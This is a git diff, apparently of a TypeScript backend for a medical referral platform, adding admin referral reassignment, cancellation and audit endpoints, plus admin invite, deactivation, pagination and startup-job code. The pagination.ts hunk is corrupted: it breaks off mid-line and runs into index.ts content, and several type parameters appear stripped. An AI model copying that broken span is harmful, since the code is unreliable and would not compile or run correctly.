parseDuration(value: string): number { + const match = /^(\d+)([hd])$/.exec(value.trim()); + if (!match) throw new HttpError(400, 'olderThan must look like "48h" or "7d".'); + const amount = Number(match[1]); + return match[2] === 'h' ? amount * 60 * 60 * 1000 : amount * 24 * 60 * 60 * 1000; +} + +/** Issue #68 queue endpoint: stuck referrals (by status + age) and/or + * loop-flagged ones, with a derived human-readable reason and age. */ +export async function adminListReferrals(_userId: string, filters: AdminQueueFilters) { + const createdBefore = filters.olderThan ? new Date(Date.now() - parseDuration(filters.olderThan)) : undefined; + const rows = await referralsRepo.listAdminQueue({ + status: filters.status, + createdBefore, + loopFlagged: filters.loopFlagged, + }); + + const now = Date.now(); + return rows.map((row) => ({ + ...row, + ageMinutes: Math.floor((now - row.createdAt.getTime()) / 60_000), + reason: deriveQueueReason(row), + })); +} + +function deriveQueueReason(row: { + loopFlaggedAt: Date | null; + loopFlagReason: string | null; + noShowCount: number; + status: ReferralStatus; +}): string { + if (row.loopFlaggedAt) return row.loopFlagReason ?? 'loop-flagged'; + if (row.noShowCount > 0) return `previous no-shows (${row.noShowCount})`; + if (row.status === 'pending') return 'awaiting patient acceptance'; + return 'stuck'; +} + +/** + * Reassignment (issue #68): move a PENDING referral to a different + * verified doctor, with an audit event. Only `targetDoctorId` moves β€” + * the snapshot (notes, patient, consultation, lineage) is untouched, per + * the constraint that reassignment must never alter the snapshot. The + * target is validated through the doctors service, never around it. + * + * The audit event goes through the audit module's `record()` (Phase 8, + * issue #43) β€” there is one AuditEvent table in this system, and this + * module writes its rows as `entityType: 'Referral'` through that + * module's service, never by touching the table itself. + */ +export async function adminReassign( + actor: auditService.AuditActor, + referralId: string, + input: { targetDoctorId: string; reason: string }, +) { + return prisma.$transaction(async (tx) => { + const referral = await referralsRepo.findReferralById(tx, referralId); + if (!referral) throw new HttpError(404, 'Referral not found.'); + + // Reassigning an accepted referral would strand its live appointment + // against the old doctor β€” cancel that path; admins cancel instead. + if (referral.status !== 'pending') { + throw new HttpError(409, 'Only a pending referral can be reassigned.'); + } + if (input.targetDoctorId === referral.referringDoctorId) { + throw new HttpError(422, 'A doctor cannot be referred to themselves.'); + } + if (referral.targetSpecialtyId) { + await doctorsService.assertDoctorVerifiedInSpecialty(input.targetDoctorId, referral.targetSpecialtyId); + } else { + await doctorsService.assertDoctorVerified(input.targetDoctorId); + } + if (input.targetDoctorId === referral.targetDoctorId) { + throw new HttpError(409, 'Referral already targets that doctor.'); + } + + const updated = await referralsRepo.updateReferralIfStatus(tx, referralId, 'pending', { + targetDoctorId: input.targetDoctorId, + }); + if (updated.count !== 1) { + throw new HttpError(409, 'Referral is no longer pending; it changed while you were working.'); + } + + await auditService.record(tx, actor, { + entityType: 'Referral', + entityId: referralId, + action: 'referral.reassign', + // The referral's *state* doesn't change here β€” it stays pending and + // is retargeted β€” so there is no from/to state. What changed is the + // target doctor, which is recorded as ids in the metadata. + fromState: null, + toState: null, + metadata: { + fromDoctorId: referral.targetDoctorId, + toDoctorId: input.targetDoctorId, + reason: input.reason, + }, + }); + + return referralsRepo.findReferralById(tx, referralId); + }); +} + +/** + * Admin cancellation (issue #68): terminate a non-terminal referral with + * a reason, audited. If the referral is `accepted`, its live appointment + * is cancelled too (through the appointments service β€” never by touching + * the Appointment table from here) so we don't re-create the exact + * "dead appointment behind a live referral" bug #67 exists to prevent. + * The patient-notification hook point is the audit event + the referral + * status itself; Phase 6's dispatch layer will read both. + */ +export async function adminCancel( + actor: auditService.AuditActor, + referralId: string, + input: { reason: string }, +) { + return prisma.$transaction(async (tx) => { + const referral = await referralsRepo.findReferralById(tx, referralId); + if (!referral) throw new HttpError(404, 'Referral not found.'); + if (referral.status !== 'pending' && referral.status !== 'accepted') { + throw new HttpError(409, 'Only a pending or accepted referral can be cancelled.'); + } + + // Accepted + live appointment: close the appointment first (inside + // this transaction) WITHOUT the normal cascade β€” we know we're + // cancelling the referral, no need for it to bounce back to pending. + if (referral.status === 'accepted' && referral.resultingAppointmentId) { + await appointmentsService.forceCancelAppointment(tx, referral.resultingAppointmentId); + } + + const updated = await referralsRepo.updateReferralIfStatus(tx, referralId, ['pending', 'accepted'], { + status: 'cancelled', + cancelledReason: input.reason, + }); + if (updated.count !== 1) { + throw new HttpError(409, 'Referral changed while you were working; reload and retry.'); + } + + await auditService.record(tx, actor, { + entityType: 'Referral', + entityId: referralId, + action: 'referral.cancel', + fromState: referral.status, + toState: 'cancelled', + metadata: { reason: input.reason }, + }); + + return referralsRepo.findReferralById(tx, referralId); + }); +} + +/** + * A referral's audit trail (issue #68). Read through the audit module's + * service β€” this module never queries the AuditEvent table itself. The + * rows are the same ones the admin-wide `GET /admin/audit-events` + * endpoint serves, narrowed to this referral. + */ +export async function listAuditEvents(referralId: string) { + const referral = await referralsRepo.findReferralById(prisma, referralId); + if (!referral) throw new HttpError(404, 'Referral not found.'); + const page = await auditService.listAuditEvents({ + entityType: 'Referral', + entityId: referralId, + limit: 200, + }); + return page.items; +} + +/** Retention hold (issue #41, docs/adr/0010): a referral carries an + * immutable clinical snapshot, so a patient who has any is never purged + * after deletion. */ +export function hasReferralsForPatient(patientProfileId: string): Promise { + return referralsRepo.patientHasReferrals(patientProfileId); +} diff --git a/backend/src/modules/referrals/validation.ts b/backend/src/modules/referrals/validation.ts index 8df85702..9192e55f 100644 --- a/backend/src/modules/referrals/validation.ts +++ b/backend/src/modules/referrals/validation.ts @@ -1,51 +1,51 @@ -import { z } from 'zod'; - -// A target is either a named doctor or a specialty (issue #6, ADR 0008). -// Specialty-only targets are routed to a concrete doctor at creation β€” -// the resolved doctor is always what gets stored, so nothing here creates -// an unassigned referral. Both absent is a validation error rather than a -// silent default; naming a doctor is never overridden by routing. -export const referralTargetSchema = z - .object({ - targetDoctorId: z.string().min(1).optional(), - targetSpecialtyId: z.string().min(1).optional(), - snapshotNotes: z.string().trim().min(1), - }) - .refine((target) => !!target.targetDoctorId || !!target.targetSpecialtyId, { - message: 'A referral target needs a targetDoctorId or a targetSpecialtyId.', - path: ['targetDoctorId'], - }); - -export const createReferralSchema = referralTargetSchema.extend({ - sourceConsultationId: z.string().min(1), -}); - -export const createReferralBatchSchema = z.object({ - targets: z.array(referralTargetSchema).min(1), -}); - -export const acceptReferralSchema = z.object({ - availabilitySlotId: z.string().min(1), -}); - -// The reason travels into the audit trail as a metadata value, and the -// audit module caps metadata strings at 200 characters (ARCHITECTURE.md -// Β§4.10). Bound it here so an over-long reason is a 400, not a failed -// transaction in the middle of an admin action. -export const adminReassignSchema = z.object({ - targetDoctorId: z.string().min(1), - reason: z.string().trim().min(1).max(200), -}); - -export const adminCancelSchema = z.object({ - reason: z.string().trim().min(1).max(200), -}); - -export const adminQueueQuerySchema = z.object({ - status: z.enum(['pending', 'accepted', 'declined', 'completed', 'expired', 'cancelled']).optional(), - olderThan: z.string().regex(/^\d+[hd]$/).optional(), - loopFlagged: z - .enum(['true', 'false']) - .optional() - .transform((value) => value === 'true'), -}); +import { z } from 'zod'; + +// A target is either a named doctor or a specialty (issue #6, ADR 0008). +// Specialty-only targets are routed to a concrete doctor at creation β€” +// the resolved doctor is always what gets stored, so nothing here creates +// an unassigned referral. Both absent is a validation error rather than a +// silent default; naming a doctor is never overridden by routing. +export const referralTargetSchema = z + .object({ + targetDoctorId: z.string().min(1).optional(), + targetSpecialtyId: z.string().min(1).optional(), + snapshotNotes: z.string().trim().min(1), + }) + .refine((target) => !!target.targetDoctorId || !!target.targetSpecialtyId, { + message: 'A referral target needs a targetDoctorId or a targetSpecialtyId.', + path: ['targetDoctorId'], + }); + +export const createReferralSchema = referralTargetSchema.extend({ + sourceConsultationId: z.string().min(1), +}); + +export const createReferralBatchSchema = z.object({ + targets: z.array(referralTargetSchema).min(1), +}); + +export const acceptReferralSchema = z.object({ + availabilitySlotId: z.string().min(1), +}); + +// The reason travels into the audit trail as a metadata value, and the +// audit module caps metadata strings at 200 characters (ARCHITECTURE.md +// Β§4.10). Bound it here so an over-long reason is a 400, not a failed +// transaction in the middle of an admin action. +export const adminReassignSchema = z.object({ + targetDoctorId: z.string().min(1), + reason: z.string().trim().min(1).max(200), +}); + +export const adminCancelSchema = z.object({ + reason: z.string().trim().min(1).max(200), +}); + +export const adminQueueQuerySchema = z.object({ + status: z.enum(['pending', 'accepted', 'declined', 'completed', 'expired', 'cancelled']).optional(), + olderThan: z.string().regex(/^\d+[hd]$/).optional(), + loopFlagged: z + .enum(['true', 'false']) + .optional() + .transform((value) => value === 'true'), +}); diff --git a/backend/src/modules/users/controllers/index.ts b/backend/src/modules/users/controllers/index.ts index c12323f3..1d6575ee 100644 --- a/backend/src/modules/users/controllers/index.ts +++ b/backend/src/modules/users/controllers/index.ts @@ -1,50 +1,50 @@ -// users controllers β€” admin account lifecycle (Phase 8, issue #39). -import type { Request, Response } from 'express'; -import { HttpError } from '../../../http-error'; -import { getParam } from '../../../request-params'; -import * as usersService from '../services'; -import { createAdminInviteSchema } from '../validation'; -import { getAdminOverview } from '../../../admin-overview-sections'; - -/** - * Creates a single-use, expiring admin invite. - * - * The raw token is returned in this response **once** β€” only its hash is - * stored, so it can't be fetched again β€” and is never logged. The inviting - * admin is responsible for passing the link to the invitee out of band; - * there is no email provider yet (Phase 6, issue #17). - */ -export async function createInvite(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const { email } = createAdminInviteSchema.parse(req.body); - const invite = await usersService.createAdminInvite({ email, invitedByUserId: req.user.id }); - // Logged without the token: the invite link is a credential. - // eslint-disable-next-line no-console - console.info(`[users] admin ${req.user.id} created an invite for ${invite.email} (expires ${invite.expiresAt.toISOString()})`); - res.status(201).json(invite); -} - -/** - * Deactivates an account. There is no `AuditEvent` table yet (see - * ARCHITECTURE_ESSENTIALS.md known gaps), so β€” like the login-throttle clear - * endpoint β€” the console line is the interim record of who did this. - */ -export async function deactivate(req: Request, res: Response) { - const userId = getParam(req, 'id'); - const user = await usersService.deactivateUser({ userId }); - // eslint-disable-next-line no-console - console.info(`[users] admin ${req.user?.id ?? 'unknown'} deactivated user ${userId}`); - res.status(200).json(user); -} - -export async function reactivate(req: Request, res: Response) { - const userId = getParam(req, 'id'); - const user = await usersService.reactivateUser({ userId }); - // eslint-disable-next-line no-console - console.info(`[users] admin ${req.user?.id ?? 'unknown'} reactivated user ${userId}`); - res.status(200).json(user); -} - -export async function overview(_req: Request, res: Response) { - res.status(200).json(await getAdminOverview()); -} +// users controllers β€” admin account lifecycle (Phase 8, issue #39). +import type { Request, Response } from 'express'; +import { HttpError } from '../../../http-error'; +import { getParam } from '../../../request-params'; +import * as usersService from '../services'; +import { createAdminInviteSchema } from '../validation'; +import { getAdminOverview } from '../../../admin-overview-sections'; + +/** + * Creates a single-use, expiring admin invite. + * + * The raw token is returned in this response **once** β€” only its hash is + * stored, so it can't be fetched again β€” and is never logged. The inviting + * admin is responsible for passing the link to the invitee out of band; + * there is no email provider yet (Phase 6, issue #17). + */ +export async function createInvite(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const { email } = createAdminInviteSchema.parse(req.body); + const invite = await usersService.createAdminInvite({ email, invitedByUserId: req.user.id }); + // Logged without the token: the invite link is a credential. + // eslint-disable-next-line no-console + console.info(`[users] admin ${req.user.id} created an invite for ${invite.email} (expires ${invite.expiresAt.toISOString()})`); + res.status(201).json(invite); +} + +/** + * Deactivates an account. There is no `AuditEvent` table yet (see + * ARCHITECTURE_ESSENTIALS.md known gaps), so β€” like the login-throttle clear + * endpoint β€” the console line is the interim record of who did this. + */ +export async function deactivate(req: Request, res: Response) { + const userId = getParam(req, 'id'); + const user = await usersService.deactivateUser({ userId }); + // eslint-disable-next-line no-console + console.info(`[users] admin ${req.user?.id ?? 'unknown'} deactivated user ${userId}`); + res.status(200).json(user); +} + +export async function reactivate(req: Request, res: Response) { + const userId = getParam(req, 'id'); + const user = await usersService.reactivateUser({ userId }); + // eslint-disable-next-line no-console + console.info(`[users] admin ${req.user?.id ?? 'unknown'} reactivated user ${userId}`); + res.status(200).json(user); +} + +export async function overview(_req: Request, res: Response) { + res.status(200).json(await getAdminOverview()); +} diff --git a/backend/src/modules/users/routes/index.ts b/backend/src/modules/users/routes/index.ts index 5e9781bd..5ed8a782 100644 --- a/backend/src/modules/users/routes/index.ts +++ b/backend/src/modules/users/routes/index.ts @@ -1,23 +1,23 @@ -// users routes β€” admin account lifecycle (Phase 8, issue #39). Mounted at -// `/admin` in app.ts; every route is admin-only. -import { Router } from 'express'; -import { authenticate, requireRole } from '../../../middleware/auth'; -import * as usersController from '../controllers'; - -export const adminRouter = Router(); - -adminRouter.use(authenticate, requireRole('admin')); - -// Invite a new admin. Returns the invite token once β€” only its hash is -// stored. Redemption happens at `POST /auth/signup-with-invite` (auth's -// module: it owns sessions), which calls this module's service to do the -// invite part. -adminRouter.post('/invites', usersController.createInvite); - -// Operations overview: queue counts and oldest-item ages (issue #123). -adminRouter.get('/overview', usersController.overview); - -// Soft deactivation: refuses only for the last active admin, and never -// deletes clinical or payment records (nothing is keyed to this flag). -adminRouter.patch('/users/:id/deactivate', usersController.deactivate); -adminRouter.patch('/users/:id/reactivate', usersController.reactivate); +// users routes β€” admin account lifecycle (Phase 8, issue #39). Mounted at +// `/admin` in app.ts; every route is admin-only. +import { Router } from 'express'; +import { authenticate, requireRole } from '../../../middleware/auth'; +import * as usersController from '../controllers'; + +export const adminRouter = Router(); + +adminRouter.use(authenticate, requireRole('admin')); + +// Invite a new admin. Returns the invite token once β€” only its hash is +// stored. Redemption happens at `POST /auth/signup-with-invite` (auth's +// module: it owns sessions), which calls this module's service to do the +// invite part. +adminRouter.post('/invites', usersController.createInvite); + +// Operations overview: queue counts and oldest-item ages (issue #123). +adminRouter.get('/overview', usersController.overview); + +// Soft deactivation: refuses only for the last active admin, and never +// deletes clinical or payment records (nothing is keyed to this flag). +adminRouter.patch('/users/:id/deactivate', usersController.deactivate); +adminRouter.patch('/users/:id/reactivate', usersController.reactivate); diff --git a/backend/src/modules/users/services/index.ts b/backend/src/modules/users/services/index.ts index 73f6ae83..4267834a 100644 --- a/backend/src/modules/users/services/index.ts +++ b/backend/src/modules/users/services/index.ts @@ -1,170 +1,170 @@ -// users services β€” the only exported surface other modules (and this -// module's own controllers) may call. Never import repositories/* from -// outside this module. See AGENTS.md "Non-negotiable rules". -// -// Phase 8 (issue #39): admin account lifecycle β€” invites and deactivation. -import { config } from '../../../config'; -import { HttpError } from '../../../http-error'; -import * as usersRepo from '../repositories'; -import { generateAdminInviteToken, hashAdminInviteToken } from './invite-tokens'; -import type { Role } from '@prisma/client'; - -export interface PublicUser { - id: string; - email: string; - role: Role; - locale: string; - deactivatedAt: Date | null; - createdAt: Date; - updatedAt: Date; -} - -type UserRow = { - id: string; - email: string; - role: Role; - locale: string; - deactivatedAt: Date | null; - createdAt: Date; - updatedAt: Date; -}; - -function toPublicUser(user: UserRow): PublicUser { - return { - id: user.id, - email: user.email, - role: user.role, - locale: user.locale, - deactivatedAt: user.deactivatedAt, - createdAt: user.createdAt, - updatedAt: user.updatedAt, - }; -} - -// --- Invites ------------------------------------------------------------- - -export interface CreateAdminInviteInput { - email: string; - invitedByUserId: string; -} - -export interface CreatedAdminInvite { - id: string; - email: string; - expiresAt: Date; - /** - * The raw invite token, returned exactly once β€” only its hash is stored, - * so it can never be retrieved again. There is no email provider yet - * (issue #17), so the inviting admin has to pass the link on out of band; - * both are deliberately never written to a log. - */ - token: string; - inviteUrl: string; -} - -export async function createAdminInvite(input: CreateAdminInviteInput): Promise { - const email = input.email.trim(); - if (!email) throw new HttpError(400, 'An email address is required.'); - - const existing = await usersRepo.findUserByEmail(email); - if (existing) { - // Deliberately not "an account exists": that's already visible from the - // signup endpoint, and an admin inviting a colleague needs the real - // reason rather than a coin flip. Refusing here keeps the invite table - // to addresses that can actually be redeemed. - throw new HttpError(409, 'An account with this email already exists β€” deactivate or promote it instead of inviting it.'); - } - - const token = generateAdminInviteToken(); - const expiresAt = new Date(Date.now() + config.adminInvites.ttlHours * 60 * 60 * 1000); - const invite = await usersRepo.replaceAdminInvite({ - email, - tokenHash: hashAdminInviteToken(token), - expiresAt, - invitedByUserId: input.invitedByUserId, - }); - - return { - id: invite.id, - email: invite.email, - expiresAt: invite.expiresAt, - token, - inviteUrl: `${config.adminInvites.acceptUrl}?token=${encodeURIComponent(token)}`, - }; -} - -export interface RedeemAdminInviteInput { - token: string; - email: string; - passwordHash: string; -} - -/** Called by the auth module's `POST /auth/signup-with-invite` β€” the invite - * is the users module's business, the session is auth's. Returns the created - * admin account, or throws a 400/403 that says nothing about which invite - * tokens exist beyond "this one isn't usable". */ -export async function redeemAdminInvite(input: RedeemAdminInviteInput): Promise { - const invite = await usersRepo.findAdminInviteByTokenHash(hashAdminInviteToken(input.token)); - if (!invite) throw new HttpError(400, 'Invalid admin invite token.'); - if (invite.consumedAt) throw new HttpError(400, 'This invite has already been used.'); - if (invite.expiresAt.getTime() <= Date.now()) { - throw new HttpError(400, 'This invite has expired. Ask an admin for a new one.'); - } - if (invite.email.toLowerCase() !== input.email.trim().toLowerCase()) { - throw new HttpError(403, 'This invite was issued for a different email address.'); - } - - const user = await usersRepo.consumeAdminInviteAndCreateAdmin({ - inviteId: invite.id, - email: input.email.trim(), - passwordHash: input.passwordHash, - consumedAt: new Date(), - }); - - // Lost a race with a concurrent redemption of the same invite. - if (!user) throw new HttpError(400, 'This invite has already been used.'); - - return toPublicUser(user); -} - -// --- Deactivation -------------------------------------------------------- - -export interface DeactivateInput { - userId: string; -} - -/** - * Deactivates an account: it can no longer log in, refresh, or use an - * existing access token (see auth's `assertActiveSession`). - * - * Nothing is deleted. No clinical or payment record is keyed to this flag, - * and this function only ever writes `deactivatedAt` / - * `sessionsInvalidatedAt` β€” that's the whole point of a soft deactivation - * (AGENTS.md hard rules on append-only/mutability of order records). - */ -export async function deactivateUser(input: DeactivateInput): Promise { - const user = await usersRepo.findUserById(input.userId); - if (!user) throw new HttpError(404, 'User not found.'); - if (user.deactivatedAt) return toPublicUser(user); // idempotent - - // The admin console is the only way back in, so the last active admin - // must not be able to lock everyone out of it (explicit in issue #39). - if (user.role === 'admin') { - const activeAdmins = await usersRepo.countActiveUsersByRole('admin'); - if (activeAdmins <= 1) { - throw new HttpError(409, 'Cannot deactivate the last active admin.'); - } - } - - const updated = await usersRepo.setUserDeactivated(user.id, new Date()); - return toPublicUser(updated); -} - -export async function reactivateUser(input: DeactivateInput): Promise { - const user = await usersRepo.findUserById(input.userId); - if (!user) throw new HttpError(404, 'User not found.'); - if (!user.deactivatedAt) return toPublicUser(user); // idempotent - - const updated = await usersRepo.setUserReactivated(user.id, new Date()); - return toPublicUser(updated); -} +// users services β€” the only exported surface other modules (and this +// module's own controllers) may call. Never import repositories/* from +// outside this module. See AGENTS.md "Non-negotiable rules". +// +// Phase 8 (issue #39): admin account lifecycle β€” invites and deactivation. +import { config } from '../../../config'; +import { HttpError } from '../../../http-error'; +import * as usersRepo from '../repositories'; +import { generateAdminInviteToken, hashAdminInviteToken } from './invite-tokens'; +import type { Role } from '@prisma/client'; + +export interface PublicUser { + id: string; + email: string; + role: Role; + locale: string; + deactivatedAt: Date | null; + createdAt: Date; + updatedAt: Date; +} + +type UserRow = { + id: string; + email: string; + role: Role; + locale: string; + deactivatedAt: Date | null; + createdAt: Date; + updatedAt: Date; +}; + +function toPublicUser(user: UserRow): PublicUser { + return { + id: user.id, + email: user.email, + role: user.role, + locale: user.locale, + deactivatedAt: user.deactivatedAt, + createdAt: user.createdAt, + updatedAt: user.updatedAt, + }; +} + +// --- Invites ------------------------------------------------------------- + +export interface CreateAdminInviteInput { + email: string; + invitedByUserId: string; +} + +export interface CreatedAdminInvite { + id: string; + email: string; + expiresAt: Date; + /** + * The raw invite token, returned exactly once β€” only its hash is stored, + * so it can never be retrieved again. There is no email provider yet + * (issue #17), so the inviting admin has to pass the link on out of band; + * both are deliberately never written to a log. + */ + token: string; + inviteUrl: string; +} + +export async function createAdminInvite(input: CreateAdminInviteInput): Promise { + const email = input.email.trim(); + if (!email) throw new HttpError(400, 'An email address is required.'); + + const existing = await usersRepo.findUserByEmail(email); + if (existing) { + // Deliberately not "an account exists": that's already visible from the + // signup endpoint, and an admin inviting a colleague needs the real + // reason rather than a coin flip. Refusing here keeps the invite table + // to addresses that can actually be redeemed. + throw new HttpError(409, 'An account with this email already exists β€” deactivate or promote it instead of inviting it.'); + } + + const token = generateAdminInviteToken(); + const expiresAt = new Date(Date.now() + config.adminInvites.ttlHours * 60 * 60 * 1000); + const invite = await usersRepo.replaceAdminInvite({ + email, + tokenHash: hashAdminInviteToken(token), + expiresAt, + invitedByUserId: input.invitedByUserId, + }); + + return { + id: invite.id, + email: invite.email, + expiresAt: invite.expiresAt, + token, + inviteUrl: `${config.adminInvites.acceptUrl}?token=${encodeURIComponent(token)}`, + }; +} + +export interface RedeemAdminInviteInput { + token: string; + email: string; + passwordHash: string; +} + +/** Called by the auth module's `POST /auth/signup-with-invite` β€” the invite + * is the users module's business, the session is auth's. Returns the created + * admin account, or throws a 400/403 that says nothing about which invite + * tokens exist beyond "this one isn't usable". */ +export async function redeemAdminInvite(input: RedeemAdminInviteInput): Promise { + const invite = await usersRepo.findAdminInviteByTokenHash(hashAdminInviteToken(input.token)); + if (!invite) throw new HttpError(400, 'Invalid admin invite token.'); + if (invite.consumedAt) throw new HttpError(400, 'This invite has already been used.'); + if (invite.expiresAt.getTime() <= Date.now()) { + throw new HttpError(400, 'This invite has expired. Ask an admin for a new one.'); + } + if (invite.email.toLowerCase() !== input.email.trim().toLowerCase()) { + throw new HttpError(403, 'This invite was issued for a different email address.'); + } + + const user = await usersRepo.consumeAdminInviteAndCreateAdmin({ + inviteId: invite.id, + email: input.email.trim(), + passwordHash: input.passwordHash, + consumedAt: new Date(), + }); + + // Lost a race with a concurrent redemption of the same invite. + if (!user) throw new HttpError(400, 'This invite has already been used.'); + + return toPublicUser(user); +} + +// --- Deactivation -------------------------------------------------------- + +export interface DeactivateInput { + userId: string; +} + +/** + * Deactivates an account: it can no longer log in, refresh, or use an + * existing access token (see auth's `assertActiveSession`). + * + * Nothing is deleted. No clinical or payment record is keyed to this flag, + * and this function only ever writes `deactivatedAt` / + * `sessionsInvalidatedAt` β€” that's the whole point of a soft deactivation + * (AGENTS.md hard rules on append-only/mutability of order records). + */ +export async function deactivateUser(input: DeactivateInput): Promise { + const user = await usersRepo.findUserById(input.userId); + if (!user) throw new HttpError(404, 'User not found.'); + if (user.deactivatedAt) return toPublicUser(user); // idempotent + + // The admin console is the only way back in, so the last active admin + // must not be able to lock everyone out of it (explicit in issue #39). + if (user.role === 'admin') { + const activeAdmins = await usersRepo.countActiveUsersByRole('admin'); + if (activeAdmins <= 1) { + throw new HttpError(409, 'Cannot deactivate the last active admin.'); + } + } + + const updated = await usersRepo.setUserDeactivated(user.id, new Date()); + return toPublicUser(updated); +} + +export async function reactivateUser(input: DeactivateInput): Promise { + const user = await usersRepo.findUserById(input.userId); + if (!user) throw new HttpError(404, 'User not found.'); + if (!user.deactivatedAt) return toPublicUser(user); // idempotent + + const updated = await usersRepo.setUserReactivated(user.id, new Date()); + return toPublicUser(updated); +} diff --git a/backend/src/pagination.ts b/backend/src/pagination.ts index 78d7931f..17a790da 100644 --- a/backend/src/pagination.ts +++ b/backend/src/pagination.ts @@ -1,5 +1,5 @@ -import { Buffer } from "node:buffer"; -export const MAX_PAGE_SIZE = 100; -export function decodeCursor(cursor?: string): number { if (!cursor) return 0; const n=Number(Buffer.from(cursor,"base64url").toString()); if(!Number.isSafeInteger(n)||n<0) throw new Error("invalid cursor"); return n; } -export function encodeCursor(offset:number): string { return Buffer.from(String(offset)).toString("base64url"); } -export function page(items:T[],limit=50,cursor?:string){const size=Math.min(Math.max(1,limit),MAX_PAGE_SIZE),start=decodeCursor(cursor),slice=items.slice(start,start+size);return {items:slice,nextCursor:start+size(items:T[],limit=50,cursor?:string){const size=Math.min(Math.max(1,limit),MAX_PAGE_SIZE),start=decodeCursor(cursor),slice=items.slice(start,start+size);return {items:slice,nextCursor:start+size { - // eslint-disable-next-line no-console - console.log(`docforum-core backend listening on :${config.port}`); - }); -} - -void startServer().catch((error: unknown) => { - // eslint-disable-next-line no-console - console.error('[startup] backend startup failed:', error); - process.exitCode = 1; -}); - -// Login-throttle cleanup (Phase 8, issue #35). A plain interval, per -// ARCHITECTURE_ESSENTIALS.md ("keep jobs simple until a real job exists β€” -// don't pre-install a queue"); `unref()` so it never keeps the process -// alive on shutdown. Lives here rather than in app.ts so test suites, which -// only build the app, don't start a timer. -const pruneTimer = setInterval(() => { - void pruneLoginAttempts() - .then((removed) => { - if (removed > 0) { - // eslint-disable-next-line no-console - console.log(`[jobs] pruned ${removed} stale login-throttle row(s)`); - } - }) - .catch((err) => { - // eslint-disable-next-line no-console - console.error('[jobs] login-throttle prune failed:', err); - }); - - // Access-log retention (Phase 8, issue #45): drop rows older than - // config.accessLog.retentionDays. Same interval as the throttle prune β€” - // hourly is far more often than a 365-day window needs, but a second - // timer for one cheap DELETE is not worth the complexity. - void pruneOldAccessLogs() - .then((removed) => { - if (removed > 0) { - // eslint-disable-next-line no-console - console.log(`[jobs] pruned ${removed} expired access-log row(s)`); - } - }) - .catch((err) => { - // eslint-disable-next-line no-console - console.error('[jobs] access-log prune failed:', err); - }); -}, config.loginThrottle.pruneIntervalSeconds * 1000); -pruneTimer.unref(); - -// Patient data export worker + expiry cleanup (Phase 8, issue #40). -startPatientExportJobs(); -startEscrowEventPoller(); -// Deleted-account tombstone purge (Phase 8, issue #41, docs/adr/0010). -startAccountPurgeJob(); -// Prepared-transaction expiry (Phase 5.5, issue #80): an unsigned -// create_escrow transaction that outlives its window moves the intent back -// to `created` so the patient can prepare again. -startPaymentIntentJobs(); -// Referral expiry (Phase 3, issue #8): pending referrals nobody acted on -// within REFERRAL_PENDING_TTL_DAYS become `expired`. -startReferralExpiryJob(); -// Unconfirmed order expiry job (auto-confirm when window elapses with no dispute). -startOrderExpiryJob(); +import { createApp } from './app'; +import { config } from './config'; +import { pruneLoginAttempts } from './modules/auth/services'; +import { pruneOldAccessLogs } from './modules/audit/services'; +import { startPatientExportJobs } from './jobs/patient-exports'; +import { startEscrowEventPoller } from './jobs/escrow-events'; +import { validatePlatformSigners } from './modules/payments/services/platform-signers'; +import { validateSep10Config, verifyPaymentsNetwork } from './modules/payments/services'; +import { startAccountPurgeJob } from './jobs/account-purge'; +import { startPaymentIntentJobs } from './jobs/payment-intents'; +import { startReferralExpiryJob } from './jobs/referral-expiry'; +import { startOrderExpiryJob } from './jobs/order-expiry'; + +const app = createApp(); + +async function startServer() { + await Promise.all([validatePlatformSigners(), verifyPaymentsNetwork(), validateSep10Config()]); + app.listen(config.port, () => { + // eslint-disable-next-line no-console + console.log(`docforum-core backend listening on :${config.port}`); + }); +} + +void startServer().catch((error: unknown) => { + // eslint-disable-next-line no-console + console.error('[startup] backend startup failed:', error); + process.exitCode = 1; +}); + +// Login-throttle cleanup (Phase 8, issue #35). A plain interval, per +// ARCHITECTURE_ESSENTIALS.md ("keep jobs simple until a real job exists β€” +// don't pre-install a queue"); `unref()` so it never keeps the process +// alive on shutdown. Lives here rather than in app.ts so test suites, which +// only build the app, don't start a timer. +const pruneTimer = setInterval(() => { + void pruneLoginAttempts() + .then((removed) => { + if (removed > 0) { + // eslint-disable-next-line no-console + console.log(`[jobs] pruned ${removed} stale login-throttle row(s)`); + } + }) + .catch((err) => { + // eslint-disable-next-line no-console + console.error('[jobs] login-throttle prune failed:', err); + }); + + // Access-log retention (Phase 8, issue #45): drop rows older than + // config.accessLog.retentionDays. Same interval as the throttle prune β€” + // hourly is far more often than a 365-day window needs, but a second + // timer for one cheap DELETE is not worth the complexity. + void pruneOldAccessLogs() + .then((removed) => { + if (removed > 0) { + // eslint-disable-next-line no-console + console.log(`[jobs] pruned ${removed} expired access-log row(s)`); + } + }) + .catch((err) => { + // eslint-disable-next-line no-console + console.error('[jobs] access-log prune failed:', err); + }); +}, config.loginThrottle.pruneIntervalSeconds * 1000); +pruneTimer.unref(); + +// Patient data export worker + expiry cleanup (Phase 8, issue #40). +startPatientExportJobs(); +startEscrowEventPoller(); +// Deleted-account tombstone purge (Phase 8, issue #41, docs/adr/0010). +startAccountPurgeJob(); +// Prepared-transaction expiry (Phase 5.5, issue #80): an unsigned +// create_escrow transaction that outlives its window moves the intent back +// to `created` so the patient can prepare again. +startPaymentIntentJobs(); +// Referral expiry (Phase 3, issue #8): pending referrals nobody acted on +// within REFERRAL_PENDING_TTL_DAYS become `expired`. +startReferralExpiryJob(); +// Unconfirmed order expiry job (auto-confirm when window elapses with no dispute). +startOrderExpiryJob(); diff --git a/backend/src/utils/admin-overview.ts b/backend/src/utils/admin-overview.ts index dd2ad0c5..c35b9832 100644 --- a/backend/src/utils/admin-overview.ts +++ b/backend/src/utils/admin-overview.ts @@ -1,78 +1,78 @@ -// Admin operations overview (Phase 8, issue #123). Each module contributes one -// section through its own service. This file only runs them, isolates -// failures, and caches the result briefly. -// -// Rules for a section: count and age only, never PHI or patient names. A -// section that throws is reported as `unavailable`. It does not fail the -// whole overview. - -export interface AdminOverviewSection { - key: string; - label: string; - status: 'ok' | 'unavailable'; - /** Number of items waiting in this queue. Null when unavailable. */ - count: number | null; - /** Age in seconds of the oldest waiting item. Null when empty or unavailable. */ - oldestAgeSeconds: number | null; - /** Where an admin goes to see the items. */ - drillDownPath: string; -} - -export interface AdminOverviewSectionDefinition { - key: string; - label: string; - drillDownPath: string; - /** Returns the count and age for this section. Throwing marks it unavailable. */ - run: () => Promise<{ count: number; oldestAgeSeconds: number | null }>; -} - -export interface 